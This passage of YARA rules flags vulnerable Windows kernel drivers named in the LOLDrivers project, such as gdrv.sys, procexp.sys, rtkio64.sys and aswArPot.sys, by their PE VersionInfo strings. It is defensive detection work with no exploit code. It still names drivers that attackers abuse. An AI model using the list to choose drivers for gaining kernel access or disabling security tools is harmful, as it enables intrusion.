		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "ff9623317287358440ec67da9ba79994d9b17b99ffdd709ec836478fe1fc22a5"
		date = "2023-06-14"
		score = 40
		id = "aa757ead-9ab0-5c5f-ba50-f310130e3d08"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0034002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003900200041004d0044002c00200049006e0063002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_7795
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "77950e2a40ac0447ae7ee1ee3ef1242ce22796a157074e6f04e345b1956e143c"
		date = "2023-06-14"
		score = 40
		id = "84866b07-19cc-5c75-acc3-7640adcf68e8"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0020002000200020002000200020002000200020002000200020002000200020 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00300030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00300030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0020002000200020002000200020002000200020002000200020002000200020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310034 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_B019
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "b019ebd77ac19cdd72bba3318032752649bd56a7576723a8ae1cccd70ee1e61a"
		date = "2023-06-14"
		score = 40
		id = "4edbf604-a98c-5877-8385-eff85575daa4"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003300320020007800380036002900280055006e00690063006f006400650029 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0037002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0037002e0031002e0031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300037002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Advancedmicrodevicesinc_Amdpowerprofilersys_Amduprof_0AF5
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDPowerProfiler.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "0af5ccb3d33a9ba92071c9637be6254030d61998733a5eb3583e865e17844e05"
		date = "2023-06-14"
		score = 40
		id = "6475e885-711f-53ea-9ab6-cdb45b3a0917"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d004400200050006f007700650072002000500072006f00660069006c0069006e00670020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0034002e003400390033002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d00440050006f00770065007200500072006f00660069006c00650072002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d00440020007500500072006f0066 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d00440050006f00770065007200500072006f00660069006c00650072002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020003200300032003100200041004d004400200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Realtek_Rtkiosys_Realtekiodriver_074A
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "074ae477c8c7ae76c6f2b0bf77ac17935a8e8ee51b52155d2821d93ab30f3761"
		date = "2023-06-14"
		score = 40
		id = "2cb53106-382d-5645-a72c-28a64112bb47"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300036002e0030003100310038002e00320030003100370020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300036002e0030003100310038002e0032003000310037 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_98B7
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "98b734dda78c16ebcaa4afeb31007926542b63b2f163b2f733fa0d00dbb344d8"
		date = "2023-06-14"
		score = 40
		id = "f827cf5e-23c7-5db8-9949-14382788bbdd"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f0072002000440065006200750067004c00450044 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Zemanaltd_Zam_9A95
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "9a95a70f68144980f2d684e96c79bdc93ebca1587f46afae6962478631e85d0c"
		date = "2023-06-14"
		score = 40
		id = "de7c3f85-1101-58c2-882b-e7e59d95fdd8"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310036002e003200380037 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_19BF
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "19bf0d0f55d2ad33ef2d105520bde8fb4286f00e9d7a721e3c9587b9408a0775"
		date = "2023-06-14"
		score = 40
		id = "4e733353-21f8-5a32-b735-fccd3ffba831"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00340020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0034 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003100200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Zemanaltd_Zam_2BBC
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "2bbc6b9dd5e6d0327250b32305be20c89b19b56d33a096522ee33f22d8c82ff1"
		date = "2023-06-14"
		score = 40
		id = "171ebc5a-3e8a-5771-8960-b623f6581759"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310038002e003300370031 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Logitechinc_Lvavsys_Logitechwebcamsoftware_E86C
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Lv561av.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "e86cb77de7b6a8025f9a546f6c45d135f471e664963cf70b381bee2dfd0fdef4"
		date = "2023-06-14"
		score = 40
		id = "3402e3fc-82be-577d-a297-fcae7539bcfc"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c006f00670069007400650063006800200056006900640065006f0020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c006f00670069007400650063006800200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310032002e00300030002e0031003200370038002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310032002e00300030002e0031003200370038002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c007600350036003100610076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c006f006700690074006500630068002000570065006200630061006d00200053006f006600740077006100720065 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c007600350036003100610076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280063002900200031003900390036002d00320030003000390020004c006f006700690074006500630068002e002000200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and all of them
}

rule PUA_VULN_Driver_Hpinc_Hpportioxsys_Hpportio_C505
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HpPortIox64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "c5050a2017490fff7aa53c73755982b339ddb0fd7cef2cde32c81bc9834331c5"
		date = "2023-06-14"
		score = 40
		id = "2fb75598-3743-50c5-b9cf-d0e928f0c57c"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800700050006f007200740049006f }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048005000200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0039 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0039 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800700050006f007200740049006f }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002d003200300032003100200048005000200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Realtek_Rtkiowxsys_Realtekiodriver_AB8F
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "ab8f2217e59319b88080e052782e559a706fa4fb7b8b708f709ff3617124da89"
		date = "2023-06-14"
		score = 40
		id = "fd0941e8-747f-5337-aaf2-f819e32b8884"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300039002e0030003700300039002e0032003000320030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300039002e0030003700300039002e0032003000320030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003200300020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_2CE8
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "2ce81759bfa236913bbbb9b2cbc093140b099486fd002910b18e2c6e31fdc4f1"
		date = "2023-06-14"
		score = 40
		id = "e7cfd1c7-bd56-5fb1-8e6a-bc49b67b7c2c"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e00310030002e003100370031002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e00310030002e003100370031002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_9254
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "9254f012009d55f555418ff85f7d93b184ab7cb0e37aecdfdab62cfe94dea96b"
		date = "2023-06-14"
		score = 40
		id = "ac7837d9-055e-502d-a497-fe96b0aa701d"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d00530049004400440052005f00430043 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_4429
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NalDrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "4429f32db1cc70567919d7d47b844a91cf1329a6cd116f582305f3b7b60cd60b"
		hash = "a59c40e7470b7003e8adfee37c77606663e78d7e3f2ebb8d60910af19924d8df"
		date = "2023-06-14"
		score = 40
		id = "0ffa7a9b-5174-53df-a332-e8b9e460eb1b"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00370020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0037 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003300200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Realtek_Rtkiowxsys_Realtekiodriver_32E1
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkiow10x64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "32e1a8513eee746d17eb5402fb9d8ff9507fb6e1238e7ff06f7a5c50ff3df993"
		date = "2023-06-14"
		score = 40
		id = "52d07201-6af3-5675-a5f0-9b6a7bb39b28"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Micsystechnologycoltd_Msiosys_Msiodriverversion_X_43BA
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - MsIo64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "43ba8d96d5e8e54cab59d82d495eeca730eeb16e4743ed134cdd495c51a4fc89"
		date = "2023-06-14"
		score = 40
		id = "6db1af54-b12d-5213-b184-7df7f628882e"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d004900430053005900530020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0049004300530059005300200054006500630068006e006f006c006f0067007900200043006f002e002c0020004c00540064 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003100200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00310020007800360034 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00730049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0031 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100390020004d00490043005300590053 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_1078
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "1078af0c70e03ac17c7b8aa5ee03593f5decfef2f536716646a4ded1e98c153c"
		date = "2023-06-14"
		score = 40
		id = "30ef7f0d-e6f4-5a98-87c2-286ac64c3886"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_26C2
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "26c28746e947389856543837aa59a5b1f4697e5721a04d00aa28151a2659b097"
		date = "2023-06-14"
		score = 40
		id = "dba48ad5-9b35-555e-814e-73b74f157b66"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0035 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 }
